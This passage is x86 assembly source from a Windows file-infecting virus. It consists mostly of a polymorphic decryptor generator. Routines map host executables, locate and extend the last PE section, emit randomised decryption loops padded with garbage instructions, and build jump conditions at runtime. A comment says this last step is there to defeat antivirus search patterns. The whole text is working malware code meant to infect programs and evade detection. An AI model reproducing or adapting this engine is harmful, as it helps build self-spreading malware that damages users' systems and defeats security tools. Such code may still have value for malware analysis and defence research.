		jnz FileViewOkRW

FileViewErrorRW:push dword ptr [ebp+h_FileMap]
		call dword ptr [ebp+a_CloseHandle]
		jmp FileMapErrorRW

FileViewOkRW:	mov dword ptr [ebp+map_is_here],eax
		ret

		;============================================================
		;UnmapRW
		;============================================================

FileUnmapRW:	push ebx
		call dword ptr [ebp+a_UnmapViewOfFile]
		jmp FileViewErrorRW

;============================================================================
;Convert RVA to RAW
;
;On entry:
;		ebx -> Host base address
;		edx -> RVA to convert
;On exit:
;		ecx -> Pointer to RAW data or NULL if error
;		edx -> Section delta offset
;		esi -> Pointer to IMAGE_OPTIONAL_HEADER
;		edi -> Pointer to section header                
;============================================================================

RVA2RAW:        cld
                mov dword ptr [ebp+search_raw],edx
                mov esi,dword ptr [ebx+MZ_lfanew]
                add esi,ebx
                lodsd
                movzx ecx,word ptr [esi+FH_NumberOfSections]
                jecxz err_RVA2RAW
                movzx edi,word ptr [esi+FH_SizeOfOptionalHeader]
                add esi,IMAGE_SIZEOF_FILE_HEADER
                add edi,esi

		;============================================================
                ;Get the IMAGE_SECTION_HEADER that contains RVA
                ;
                ;At this point:
                ;
                ;ebx -> File base address
                ;esi -> Pointer to IMAGE_OPTIONAL_HEADER
                ;edi -> Pointer to first section header
                ;ecx -> Number of sections
		;
		;Check if address of imports directory is inside this
                ;section
		;============================================================


s_img_section:  mov eax,dword ptr [ebp+search_raw]
                mov edx,dword ptr [edi+SH_VirtualAddress]
                sub eax,edx
                cmp eax,dword ptr [edi+SH_VirtualSize]
                jb section_ok

		;============================================================
		;Go to next section header
		;============================================================

out_of_section: add edi,IMAGE_SIZEOF_SECTION_HEADER
                loop s_img_section
err_RVA2RAW:    ret

		;============================================================
		;Get raw
		;============================================================

section_ok:     mov ecx,dword ptr [edi+SH_PointerToRawData]
                sub edx,ecx
                add ecx,eax
                add ecx,ebx
                ret

;============================================================================
;Get code section header and entry-point information
;
;On entry:
;		ebx -> Host base address
;On exit:
;		ecx -> Pointer to RAW data or NULL if error
;		edx -> Entry-point RVA
;		esi -> Pointer to IMAGE_OPTIONAL_HEADER
;		edi -> Pointer to section header
;============================================================================

get_code_sh:	call get_last_sh
		mov edx,dword ptr [esi+OH_AddressOfEntryPoint]
		push edx
                call RVA2RAW
		pop edx
		ret

;============================================================================
;Get pointer to last section header
;
;On entry:
;		ebx -> Host base address
;On exit:
;		esi -> IMAGE_OPTIONAL_HEADER
;		edi -> Pointer to last section header                
;============================================================================

get_last_sh:    push ecx
                mov esi,dword ptr [ebx+MZ_lfanew]
                add esi,ebx
                cld
                lodsd
                movzx ecx,word ptr [esi+FH_NumberOfSections]
                dec ecx
                mov eax,IMAGE_SIZEOF_SECTION_HEADER
                mul ecx
                movzx edx,word ptr [esi+FH_SizeOfOptionalHeader]
                add esi,IMAGE_SIZEOF_FILE_HEADER
                add eax,edx
                add eax,esi
                mov edi,eax
		pop ecx
                ret

;============================================================================
;Generate data area suitable for memory write access
;
;		edi -> Base address
;		ecx -> Size
;============================================================================

gen_data_area:	push eax
		push edx

		movzx eax,byte ptr [ebp+NumberOfDataAreas]
		cmp eax,NUM_DA
		jae no_more_da

		lea edx,dword ptr [ebp+tbl_data_area+eax*08h]

		mov eax,edi
		sub eax,dword ptr [ebp+map_is_here]
		add eax,dword ptr [ebp+host_base]
				
		push ecx

		mov ecx,dword ptr [ebp+virus_sh]
		sub eax,dword ptr [ecx+SH_PointerToRawData]
		add eax,dword ptr [ecx+SH_VirtualAddress]
		mov dword ptr [edx],eax

		pop ecx
		mov dword ptr [edx+00000004h],ecx

		inc byte ptr [ebp+NumberOfDataAreas]
no_more_da:	pop edx
		pop eax
		ret

;============================================================================
;Generate a block of random data
;============================================================================

gen_rnd_block:  mov eax,0000000Ah
		mov ecx,eax
                call get_rnd_range
                add ecx,eax				
		call gen_data_area
rnd_fill:       mov eax,dword ptr [ebp+FileSizeOnDisk]
		dec eax
		sub eax,ecx
		call get_rnd_range
		add eax,dword ptr [ebp+map_is_here]
		mov esi,eax
		cld
		rep movsb
                ret                

;============================================================================
;Linear congruent pseudorandom number generator
;============================================================================

get_rnd32:      push ecx
                push edx
                mov eax,dword ptr [ebp+rnd32_seed]
                mov ecx,41C64E6Dh
                mul ecx
                add eax,00003039h
                and eax,7FFFFFFFh
                mov dword ptr [ebp+rnd32_seed],eax
                pop edx
                pop ecx
                ret

;============================================================================
;Returns a random num between 0 and entry eax
;============================================================================

get_rnd_range:  push ecx
                push edx
                mov ecx,eax
                call get_rnd32
                xor edx,edx
                div ecx
                mov eax,edx  
                pop edx
                pop ecx
                ret

;============================================================================
;Perform encryption
;============================================================================

		;============================================================
		;This buffer will contain the code to "crypt" the virus code
                ;followed by a RET instruction
		;============================================================

perform_crypt:	db 10h dup (90h)

;============================================================================
;Generate decryptor action: Load pointer
;
;We dont need to get delta-offset, this virus assumes fixed load address
;============================================================================

gen_load_ptr:  	mov al,0B8h	
                or al,byte ptr [ebp+index_mask]
                stosb
		mov eax,dword ptr [ebp+host_base]
		add eax,dword ptr [ebp+PtrToCrypt]
		add eax,dword ptr [ebp+ptr_disp]
		mov edx,dword ptr [ebp+virus_sh]
		sub eax,dword ptr [edx+SH_PointerToRawData]
		add eax,dword ptr [edx+SH_VirtualAddress]
                test byte ptr [ebp+build_flags],CRYPT_DIRECTION
                jz fix_dir_ok
                push eax				;Fix upon direction
                call fixed_size2ecx
                xor eax,eax
                mov al,byte ptr [ebp+oper_size]
                push eax
                mul ecx
                pop ecx
                sub eax,ecx
                pop ecx
                add eax,ecx
fix_dir_ok:	stosd
		ret

;============================================================================
;Generate decryptor action: Load counter
;============================================================================

		;============================================================
		;Easy now, just move counter random initial value
                ;into counter reg and calculate the end value
		;============================================================

gen_load_ctr:   mov al,0B8h
                or al,byte ptr [ebp+counter_mask]
                stosb
		call fixed_size2ecx
                call get_rnd32
                stosd
                test byte ptr [ebp+build_flags],CRYPT_CDIR
                jnz counter_down
counter_up:     add eax,ecx
                jmp short done_ctr_dir
counter_down:   sub eax,ecx
done_ctr_dir:   mov dword ptr [ebp+end_value],eax
                ret

;============================================================================
;Generate decryptor action: Decrypt
;============================================================================

gen_decrypt:	mov eax,dword ptr [ebp+ptr_disp]
		mov dword ptr [ebp+fake_ptr_disp],eax

		mov eax,dword ptr [ebp+crypt_key]
		mov dword ptr [ebp+fake_crypt_key],eax

		mov al,byte ptr [ebp+build_flags]
		mov byte ptr [ebp+fake_build_flags],al

		mov al,byte ptr [ebp+oper_size]
		mov byte ptr [ebp+fake_oper_size],al

		mov al,byte ptr [ebp+index_mask]
		mov byte ptr [ebp+fake_index_mask],al

		call fake_or_not

		xor eax,eax
                mov al,byte ptr [ebp+oper_size]
                shr eax,01h
                shl eax,02h
                add esi,eax
                lodsd
                add eax,ebp
                mov esi,eax
                push edi
                lea edi,dword ptr [ebp+perform_crypt]
loop_string:    lodsb
                cmp al,MAGIC_ENDSTR
                je end_of_magic
                cmp al,MAGIC_ENDKEY
                je last_spell
                xor ecx,ecx
                mov cl,al
                rep movsb
                jmp short loop_string
last_spell:     call copy_key
end_of_magic:   mov al,0C3h
		stosb
		pop edi
                ret

;============================================================================
;Copy encryption key into work buffer taking care about operand size
;============================================================================

copy_key:       mov eax,dword ptr [ebp+fake_crypt_key]
                movzx ecx,byte ptr [ebp+fake_oper_size]
loop_key:       stosb
                shr eax,08h
                loop loop_key
                ret

;============================================================================
;Generate decryptor action: Move index to next step
;============================================================================

		;============================================================
		;Get number of bytes to inc or dec the index reg
		;============================================================

gen_next_step:  movzx ecx,byte ptr [ebp+oper_size]

		;============================================================
		;Get number of bytes to update with this instruction
		;============================================================

loop_update:    mov eax,ecx
                call get_rnd_range
                inc eax

		;============================================================
                ;Check direction
		;============================================================

                test byte ptr [ebp+build_flags],CRYPT_DIRECTION
                jnz step_down

                call do_step_up
                jmp short next_update

step_down:      call do_step_down

next_update:    sub ecx,eax
		call GenGarbageEx
                jecxz end_update
                jmp short loop_update
end_update:     ret

		;============================================================
		;Move index_reg up
		;============================================================

do_step_up:     push eax

		mov eax,NumIdxUp
		call get_rnd_range
		lea esi,dword ptr [ebp+tbl_idx_up+eax*04h]
		lodsd
		add eax,ebp
		jmp eax
		
IdxUpWithADD:	mov ax,0C081h
                or ah,byte ptr [ebp+index_mask]
                stosw
                pop eax
                stosd
                ret

IdxUpWithSUB:	mov ax,0E881h
                or ah,byte ptr [ebp+index_mask]
                stosw
                pop eax
                neg eax
                stosd
                neg eax
                ret

IdxUpWithINC:	mov al,40h
                or al,byte ptr [ebp+index_mask]
                stosb
                pop eax
		mov eax,000000001h
                ret

IdxUpADDADD:	call save_it_ADD
		push eax
		mov ax,0C081h
                or ah,byte ptr [ebp+index_mask]
                stosw
		pop eax
		pop edx
		sub eax,edx
		neg eax
		stosd
		mov eax,edx
		ret

IdxUpADDSUB:	call save_it_ADD
		push eax
		mov ax,0E881h
                or ah,byte ptr [ebp+index_mask]
                stosw
		pop eax
		pop edx
		sub eax,edx
		stosd
		mov eax,edx
		ret

IdxUpSUBSUB:	call save_it_SUB
		push eax
		mov ax,0E881h
                or ah,byte ptr [ebp+index_mask]
                stosw
		pop eax
		pop edx
		add eax,edx
		neg eax
		stosd
		mov eax,edx
		ret

IdxUpSUBADD:	call save_it_SUB
		push eax
		mov ax,0C081h
                or ah,byte ptr [ebp+index_mask]
                stosw
		pop eax
		pop edx
		add eax,edx
		stosd
		mov eax,edx
		ret

		;============================================================
		;Move index_reg down
		;============================================================

do_step_down:   push eax

		mov eax,NumIdxDown
		call get_rnd_range
		lea esi,dword ptr [ebp+tbl_idx_down+eax*04h]
		lodsd
		add eax,ebp
		jmp eax

IdxDownWithADD:	mov ax,0C081h
                or ah,byte ptr [ebp+index_mask]
                stosw
                pop eax
                neg eax
                stosd
                neg eax
                ret

IdxDownWithSUB: mov ax,0E881h
                or ah,byte ptr [ebp+index_mask]
                stosw
                pop eax
                stosd
                ret

IdxDownWithDEC:	mov al,48h
                or al,byte ptr [ebp+index_mask]
                stosb
		pop eax
                mov eax,00000001h
                ret

IdxDownADDADD:	call save_it_ADD
		push eax
		mov ax,0C081h
                or ah,byte ptr [ebp+index_mask]
                stosw
		pop eax
		pop edx
		sub eax,edx
		neg eax
		stosd
		mov eax,edx
		ret

IdxDownADDSUB:	call save_it_ADD
		push eax
		mov ax,0E881h
                or ah,byte ptr [ebp+index_mask]
                stosw
		pop eax
		pop edx
		sub eax,edx
		neg eax 
		stosd
		mov eax,edx
		ret

IdxDownSUBSUB:	call save_it_SUB
		push eax
		mov ax,0E881h
                or ah,byte ptr [ebp+index_mask]
                stosw
		pop eax
		pop edx
		add eax,edx
		neg eax
		stosd
		mov eax,edx
		ret

IdxDownSUBADD:	call save_it_SUB
		push eax
		mov ax,0C081h
                or ah,byte ptr [ebp+index_mask]
                stosw
		pop eax
		pop edx
		add eax,edx
		neg eax 
		stosd
		mov eax,edx
		ret

save_it_ADD:	call total_save_it
		push edx
		mov al,03h
		stosw		
		xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
		call GenGarbageEx
		pop eax
		ret

save_it_SUB:	call total_save_it
		push edx
		mov al,2Bh
		stosw		
		xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
		call GenGarbageEx
		pop eax
		ret

total_save_it:	call get_valid_reg
                or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
                mov al,0B8h
                or al,byte ptr [ebx+REG_MASK]
                stosb
		call get_rnd32
		stosd
		push eax
		push ebx
		call GenGarbageEx
		pop ebx
		mov ah,byte ptr [ebp+index_mask]
		shl ah,03h
		or ah,byte ptr [ebx+REG_MASK]
		or ah,0C0h
		pop edx
		ret

;============================================================================
;Generate decryptor action: Next counter value
;============================================================================

		;============================================================
		;Check counter direction and update counter
                ;using a INC or DEC instruction
		;============================================================

gen_next_ctr:   test byte ptr [ebp+build_flags],CRYPT_CDIR
                jnz upd_ctr_down
upd_ctr_up:     call get_rnd32
		and al,01h
		jz CountUpINC
		
		mov al,40h
		jmp DoShitWithCtr

CountUpINC:	mov al,40h
                or al,byte ptr [ebp+counter_mask]
                jmp short upd_ctr_ok

upd_ctr_down:   call get_rnd32
		and al,01h
		jz CountUpDEC

		mov al,48h
		jmp DoShitWithCtr

CountUpDEC:	mov al,48h
                or al,byte ptr [ebp+counter_mask]
upd_ctr_ok:     stosb
                ret

DoShitWithCtr:	push eax

		call get_valid_reg
                or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
		mov ah,byte ptr [ebx+REG_MASK]
		shl ah,03h
		or ah,byte ptr [ebp+counter_mask]
		or ah,0C0h
		mov al,8Bh
		stosw
		push ebx
		call GenGarbageEx
		pop ebx

		pop eax
                or al,byte ptr [ebx+REG_MASK]
		stosb
		push ebx
		call GenGarbageEx
		pop ebx
		mov ah,byte ptr [ebp+counter_mask]
		shl ah,03h
		or ah,byte ptr [ebx+REG_MASK]
		or ah,0C0h
		mov al,8Bh
		stosw
		xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
		ret

;============================================================================
;Generate decryptor action: Loop
;============================================================================

		;============================================================
		;Use counter reg in CMP instruction?
		;============================================================

gen_loop:       test byte ptr [ebp+build_flags],CRYPT_CMPCTR
                jnz doloopauxreg

		;============================================================
                ;Generate CMP counter_reg,end_value
		;============================================================

		mov ax,0F881h
                or ah,byte ptr [ebp+counter_mask]
                stosw
                mov eax,dword ptr [ebp+end_value]
                stosd
                jmp doloopready

		;============================================================
		;Get a random valid register to use in a CMP instruction
		;============================================================

doloopauxreg:   call get_valid_reg
                or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

		;============================================================
                ;Move index reg value into aux reg
		;============================================================

                mov ah,byte ptr [ebx+REG_MASK]
                shl ah,03h
                or ah,byte ptr [ebp+counter_mask]
                or ah,0C0h
                mov al,8Bh
                stosw

		;============================================================
              	;Guess what!?
		;============================================================

                push ebx
                call GenGarbageEx
                pop ebx

		call get_rnd32
		and al,03h
		or al,al
		jz loop_use_cmp
		test al,02h
		jz loop_use_sub

		;============================================================
		;Generate ADD aux_reg,-end_value
		;============================================================

loop_use_add:	mov ax,0C081h
                or ah,byte ptr [ebx+REG_MASK]
                stosw
                mov eax,dword ptr [ebp+end_value]
		neg eax
                stosd
                jmp short done_loop_use

		;============================================================
		;Generate CMP aux_reg,end_value
		;============================================================

loop_use_cmp:	mov ax,0F881h
                jmp short loop_mask_here

		;============================================================
		;Generate SUB aux_reg,end_value
		;============================================================

loop_use_sub:	mov eax,0E881h
loop_mask_here:	or ah,byte ptr [ebx+REG_MASK]
                stosw
                mov eax,dword ptr [ebp+end_value]
                stosd

		;============================================================
		;Restore aux reg state
		;============================================================

done_loop_use:	xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

		;============================================================
		;Generate conditional jump
		;============================================================

doloopready:    mov eax,NumExitLoop
		call get_rnd_range
		lea esi,dword ptr [ebp+TblExitLoop+eax*04h]
		lodsd
		add eax,ebp
		jmp eax

TblExitLoop	equ $

		dd offset doloopup
		dd offset doloopdown
		dd offset doloopmix

NumExitLoop	equ ($-TblExitLoop)/04h

		;============================================================
		;Generate the following structure:
                ;
                ;       loop_point:
                ;       ...
                ;       jnz loop_point
                ;       ...
		;	jmp decrypted-code
		;============================================================

doloopup:       mov dword ptr [ebp+condition_ptr],edi
		mov ax,850Fh
                stosw
                mov eax,dword ptr [ebp+loop_point]
                sub eax,edi
                sub eax,00000004h
                stosd
		call GenGarbageEx

		mov esi,dword ptr [ebp+PtrToEP]
		call DoComplexCmp
		jmp CreateFog

		;============================================================
		;...or this one:
                ;
                ;       loop_point:
                ;       ...
                ;       jz decrypted-code
                ;       ...
                ;       jmp loop_point
                ;       ...
		;============================================================

doloopdown:     mov dword ptr [ebp+condition_ptr],edi
		mov ax,840Fh
                stosw
		mov eax,dword ptr [ebp+PtrToEP]

		sub eax,edi
		sub eax,00000004h
		stosd
                call GenGarbageEx

		mov esi,dword ptr [ebp+loop_point]
		call DoComplexCmp
		jmp CreateFog

		;============================================================
		;Generate the following structure:
                ;
                ;       loop_point:
                ;       ...
                ;       jnz auxdest
                ;       ...
		;	jmp decrypted-code
		;	...
		;	auxdest:
		;	...
		;	jmp loop_point
		;============================================================

doloopmix:	mov dword ptr [ebp+condition_ptr],edi
		mov ax,850Fh
                stosw
		push edi
		stosd
		call GenGarbageEx
		mov esi,dword ptr [ebp+PtrToEP]
		call DoComplexCmp
		call GenGarbageEx
		pop edx
		mov eax,edi
		sub eax,00000004h
		sub eax,edx
		mov dword ptr [edx],eax
		call GenGarbageEx
		mov esi,dword ptr [ebp+loop_point]
		call DoComplexCmp

		;============================================================
		;I notice some AV was using the JZ/JNZ instruction at the
		;end of the decryptor in a search pattern... So now im going
		;to build it at runtime (sometimes...)
		;============================================================

CreateFog:	test byte ptr [ebp+build_flags],CRYPT_FOG
		jz NoFogRet

		mov eax,NumFog
		call get_rnd_range
		lea esi,dword ptr [ebp+TblDoFog+eax*04h]
		lodsd
		add eax,ebp
		call eax

		mov eax,NumFixFog
		call get_rnd_range
		lea esi,dword ptr [ebp+TblFixFog+eax*04h]
		lodsd
		mov esi,dword ptr [ebp+condition_ptr]
		add eax,ebp
		call eax

NoFogRet:	ret

;============================================================================
;Prepare pointer to memory into fog block, using ADD
;============================================================================

DoFogAdd:	call FogStart
		sub eax,dword ptr [ebp+Xrnd1]
		push edi
		push eax
		mov ebx,dword ptr [ebp+XrndReg]
		mov edi,dword ptr [ebp+XrndFixPtr]
		mov ax,0C081h
		or ah,byte ptr [ebx+REG_MASK]
		stosw
		pop eax
		stosd
		pop edi
		ret
		
FixFogAdd:	push edi
		mov edi,dword ptr [ebp+XrndMath]
		mov al,81h
		mov ah,byte ptr [ebx+REG_MASK]
		stosw
		call get_rnd32
		stosd
		sub dword ptr [esi],eax
		pop edi
		ret

;============================================================================
;Prepare pointer to memory into fog block, using SUB
;============================================================================

DoFogSub:	call FogStart
		neg eax
		add eax,dword ptr [ebp+Xrnd1]
		push edi
		push eax
		mov ebx,dword ptr [ebp+XrndReg]
		mov edi,dword ptr [ebp+XrndFixPtr]
		mov ax,0E881h
		or ah,byte ptr [ebx+REG_MASK]
		stosw
		pop eax
		stosd
		pop edi
		ret
		
FixFogSub:	push edi
		mov edi,dword ptr [ebp+XrndMath]
		mov ax,2881h
		or ah,byte ptr [ebx+REG_MASK]
		stosw
		call get_rnd32
		stosd
		add dword ptr [esi],eax
		pop edi
		ret

;============================================================================
;Prepare pointer to memory into fog block, using XOR
;============================================================================

DoFogXor:	call FogStart
		xor eax,dword ptr [ebp+Xrnd1]
		push edi
		push eax
		mov ebx,dword ptr [ebp+XrndReg]
		mov edi,dword ptr [ebp+XrndFixPtr]
		mov ax,0F081h
		or ah,byte ptr [ebx+REG_MASK]
		stosw
		pop eax
		stosd
		pop edi
		ret
		
FixFogXor:	push edi
		mov edi,dword ptr [ebp+XrndMath]
		mov ax,3081h
		or ah,byte ptr [ebx+REG_MASK]
		stosw
		call get_rnd32
		stosd
		xor dword ptr [esi],eax
		pop edi
		ret

;============================================================================
;Setup fog block
;============================================================================

FogStart:	mov esi,dword ptr [ebp+condition_ptr]
		mov eax,esi
		call FromPoly2Rva
		ret

;============================================================================
;Convert a given value in the poly decryptor to its future RVA
;
;On entry:
;		eax -> Value to convert
;On exit:
;		eax -> Converted value
;============================================================================

FromPoly2Rva:	push edx
		sub eax,dword ptr [ebp+map_is_here]
		add eax,dword ptr [ebp+host_base]
		mov edx,dword ptr [ebp+virus_sh]
		sub eax,dword ptr [edx+SH_PointerToRawData]
		add eax,dword ptr [edx+SH_VirtualAddress]
		pop edx
		ret

;============================================================================
;Produce complex end determination
;
;On entry:
;		esi -> PtrToEP or loop_point
;============================================================================

DoComplexCmp:	call get_rnd32
		and al,01h
		jz JmpEndJmpReg

		;============================================================
		;Go using JMP imm
		;============================================================

JmpEndJmpImm:	mov al,0E9h
		stosb
		mov eax,esi
		sub eax,edi
		sub eax,00000004h
		stosd
		ret

		;============================================================
		;Go using complex escheme
		;============================================================

JmpEndJmpReg:	push esi

		call get_valid_reg
                or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
                mov al,0B8h
                or al,byte ptr [ebx+REG_MASK]
                stosb
                call get_rnd32
                stosd
		push eax
		push ebx
		call GenGarbageEx

		mov eax,NumJmpEnd
		call get_rnd_range
		lea esi,dword ptr [ebp+tbl_jmp_end+eax*04h]
		lodsd
		add eax,ebp

		pop ebx
		pop edx
		pop esi

		call eax

		push ebx
		call GenGarbageEx
		pop ebx

		call get_rnd32
		and al,01h
		jz EndUseJmpReg

EndUsePushRet:	mov al,50h
		or al,byte ptr [ebx+REG_MASK]
		stosb
		xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
		call GenGarbageEx
		call gen_ret
		ret

EndUseJmpReg:	mov ax,0E0FFh
		or ah,byte ptr [ebx+REG_MASK]
		stosw
		xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
		ret

;============================================================================
;Complex end using ADD
;============================================================================

jmpendregadd:	mov ax,0C081h
                or ah,byte ptr [ebx+REG_MASK]
                stosw
		call ExtendedEnd
		sub eax,edx
		stosd
		ret

;============================================================================
;Complex end using SUB
;============================================================================

jmpendregsub:	mov ax,0E881h
                or ah,byte ptr [ebx+REG_MASK]
                stosw
		call ExtendedEnd
		sub eax,edx
		neg eax
		stosd
		ret

;============================================================================
;Complex end using XOR
;============================================================================

jmpendregxor:	mov ax,0F081h
                or ah,byte ptr [ebx+REG_MASK]
                stosw
		call ExtendedEnd
		xor eax,edx
		stosd
		ret

;============================================================================
;Complex fixed address
;============================================================================

ExtendedEnd:	mov eax,esi
		call FromPoly2Rva
		ret

;============================================================================
;Generate init garbage
;============================================================================

GenInitGarbage:	mov eax,00000005h
		call get_rnd_range
		or eax,eax
		jz ExitInitGarbage

		mov ecx,eax
loop_g_i_g:	push ecx

                mov eax,(end_i_g-tbl_i_g)/04h
		call get_rnd_range

                lea esi,dword ptr [ebp+tbl_i_g+eax*04h]
		lodsd
                add eax,ebp
                call eax

		pop ecx
		loop loop_g_i_g

ExitInitGarbage:ret

;============================================================================
;Generate some garbage code
;============================================================================

GenGarbageEx:	mov eax,00000004h
		jmp short GoDirectToHell
gen_garbage:    mov eax,00000002h
GoDirectToHell:	push ecx
                push esi
		inc byte ptr [ebp+recursive_level]

                call get_rnd_range
                inc eax
		inc eax
                mov ecx,eax
loop_garbage:   push ecx
                mov eax,(end_garbage-tbl_garbage)/04h
				
		cmp byte ptr [ebp+recursive_level],06h
		jae too_much_shit

                cmp byte ptr [ebp+recursive_level],02h
                jb ok_gen_num

		mov eax,(save_space-tbl_garbage)/04h

ok_gen_num:	call get_rnd_range
                lea esi,dword ptr [ebp+tbl_garbage+eax*04h]
		lodsd
                add eax,ebp
                call eax
too_much_shit:	pop ecx
                loop loop_garbage

		;============================================================
                ;Update recursive level
		;============================================================

exit_gg:        dec byte ptr [ebp+recursive_level]
                pop esi
		pop ecx
                ret

;============================================================================
;Generate MOV reg,imm
;============================================================================

		;============================================================
		;Generate MOV reg32,imm
		;============================================================

g_movreg32imm:  call get_valid_reg
                mov al,0B8h
                or al,byte ptr [ebx+REG_MASK]
                stosb
                call get_rnd32
                stosd
                ret

		;============================================================
		;Generate MOV reg16,imm
		;============================================================

g_movreg16imm:  call get_valid_reg
                mov ax,0B866h
                or ah,byte ptr [ebx+REG_MASK]
                stosw
                call get_rnd32
                stosw
                ret

		;============================================================
		;Generate MOV reg8,imm
		;============================================================

g_movreg8imm:   call get_valid_reg
                test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
                jnz a_movreg8imm
                call get_rnd32
                mov al,0B0h
                or al,byte ptr [ebx+REG_MASK]
                push eax
                call get_rnd32
                pop edx
                and ax,0004h
                or ax,dx
                stosw
a_movreg8imm:   ret

;============================================================================
;Generate mov reg,reg
;============================================================================

g_movregreg32:  call get_rnd_reg
                push ebx
                call get_valid_reg
                pop edx
                cmp ebx,edx
                je a_movregreg32
c_movregreg32:	mov al,8Bh
h_movregreg32:  mov ah,byte ptr [ebx+REG_MASK]
                shl ah,03h
                or ah,byte ptr [edx+REG_MASK]
                or ah,0C0h
                stosw
a_movregreg32:  ret

g_movregreg16:  call get_rnd_reg
                push ebx
                call get_valid_reg
                pop edx
                cmp ebx,edx
                je a_movregreg32
                mov al,66h
                stosb
                jmp short c_movregreg32

g_movregreg8:   call get_rnd_reg
                test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
                jnz a_movregreg8
                push ebx
                call get_valid_reg
                pop edx
		mov al,8Ah
h_movregreg8:	test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
                jnz a_movregreg8
                cmp ebx,edx
                je a_movregreg8
                mov ah,byte ptr [ebx+REG_MASK]
                shl ah,03h
                or ah,byte ptr [edx+REG_MASK]
                or ah,0C0h
                push eax
                call get_rnd32
                pop edx
                and ax,2400h
                or ax,dx
                stosw
a_movregreg8:   ret

;============================================================================
;Generate xchg reg,reg
;============================================================================

g_xchgregreg32:	call get_valid_reg
		push ebx
		call get_valid_reg
		pop edx
		cmp ebx,edx
		je a_movregreg32
h_xchgregreg32:	mov al,87h
		jmp h_movregreg32

g_xchgregreg16:	call get_valid_reg
		push ebx
		call get_valid_reg
		pop edx
		cmp ebx,edx
		je a_movregreg32
		mov al,66h
		stosb
		jmp short h_xchgregreg32

g_xchgregreg8:	call get_valid_reg
                test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
                jnz a_movregreg8
                push ebx
                call get_valid_reg
                pop edx
		mov al,86h
		jmp h_movregreg8

;============================================================================
;Generate MOVZX/MOVSX reg32,reg16
;============================================================================

g_movzx_movsx:  call get_rnd32
                mov ah,0B7h
                and al,01h
                jz d_movzx
                mov ah,0BFh
d_movzx:        mov al,0Fh
                stosw
                call get_rnd_reg
                push ebx
                call get_valid_reg
                pop edx
                mov al,byte ptr [ebx+REG_MASK]
                shl al,03h
                or al,0C0h
                or al,byte ptr [edx+REG_MASK]
                stosb
                ret

;============================================================================
;Generate INC reg
;============================================================================

g_inc_reg32:	call get_valid_reg
		mov al,40h
		or al,byte ptr [ebx+REG_MASK]
		stosb
		ret

g_inc_reg16:	mov al,66h
		stosb
		jmp short g_inc_reg32

g_inc_reg8:	call get_valid_reg
                test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
                jnz a_inc_reg8
		call get_rnd32
		and ah,04h
		or ah,byte ptr [ebx+REG_MASK]
		or ah,0C0h
		mov al,0FEh
		stosw
a_inc_reg8:	ret

;============================================================================
;Generate DEC reg
;============================================================================

g_dec_reg32:	call get_valid_reg
		mov al,48h
		or al,byte ptr [ebx+REG_MASK]
		stosb
		ret

g_dec_reg16:	mov al,66h
		stosb
		jmp short g_dec_reg32

g_dec_reg8:	call get_valid_reg
                test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
                jnz a_dec_reg8
		call get_rnd32
		and ah,04h
		or ah,byte ptr [ebx+REG_MASK]
		or ah,0C8h
		mov al,0FEh
		stosw
a_dec_reg8:	ret

;============================================================================
;Generate ADD/SUB/XOR/OR/AND reg,imm
;============================================================================

g_mathregimm32: mov al,81h
                stosb
                call get_valid_reg
                call do_math_work
                stosd
                ret

g_mathregimm16: mov ax,8166h
                stosw
                call get_valid_reg
                call do_math_work
                stosw
                ret

g_mathregimm8:  call get_valid_reg
                test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
                jnz a_math8
                mov al,80h
                stosb
                call do_math_work
                stosb
                and ah,04h
                or byte ptr [edi-00000002h],ah
a_math8:        ret

do_math_work:   mov eax,end_math_imm-tbl_math_imm
                call get_rnd_range
                lea esi,dword ptr [ebp+eax+tbl_math_imm]
                lodsb
                or al,byte ptr [ebx+REG_MASK]
                stosb
                call get_rnd32
                ret

;============================================================================
;Generate decryption instructions (real or fake ones)
;============================================================================

		;============================================================
		;Check if we are going to use a displacement in the
                ;indexing mode
		;============================================================

fake_or_not:    mov eax,dword ptr [ebp+fake_ptr_disp]
                or eax,eax
                jnz more_complex

		;============================================================
                ;Choose generator for [reg] indexing mode
		;============================================================

                mov edx,offset tbl_idx_reg
                call choose_magic
                jmp you_got_it

		;============================================================
		;More fun?!?!
		;============================================================

more_complex:   mov al,byte ptr [ebp+fake_build_flags]
                test al,CRYPT_SIMPLEX
                jnz crypt_xtended

		;============================================================
                ;Choose generator for [reg+imm] indexing mode
		;============================================================

                mov edx,offset tbl_dis_reg
                call choose_magic

		;============================================================
		;Use magic to convert some values into
                ;desired instructions
		;============================================================

you_got_it:     call size_correct
                mov dl,byte ptr [ebp+fake_index_mask]
                lodsb
                or al,al
                jnz adn_reg_01
                cmp dl,00000101b
                je adn_reg_02
adn_reg_01:     lodsb
                or al,dl
                stosb
                jmp common_part                
adn_reg_02:     lodsb
                add al,45h
                xor ah,ah
                stosw
                jmp common_part

		;============================================================
		;Choose [reg+reg] or [reg+reg+disp]
		;============================================================

crypt_xtended:  xor eax,eax
		mov dword ptr [ebp+disp2disp],eax ;Clear disp-over-disp

                test al,CRYPT_COMPLEX
                jz ok_complex

		;============================================================
                ;Get random displacement from current displacement
                ;eeehh?!?
		;============================================================

                mov eax,00001000h
                call get_rnd_range
                mov dword ptr [ebp+disp2disp],eax
                call load_aux

                push ebx

                call GenGarbageEx

		;============================================================
                ;Choose generator for [reg+reg+imm] indexing mode
		;============================================================

                mov edx,offset tbl_paranoia
                call choose_magic
                jmp short done_xtended

ok_complex:     mov eax,dword ptr [ebp+fake_ptr_disp]
                call load_aux

                push ebx

                call GenGarbageEx

		;============================================================
                ;Choose generator for [reg+reg] indexing mode
		;============================================================

                mov edx,offset tbl_xtended
                call choose_magic

		;============================================================
		;Build decryptor instructions
		;============================================================

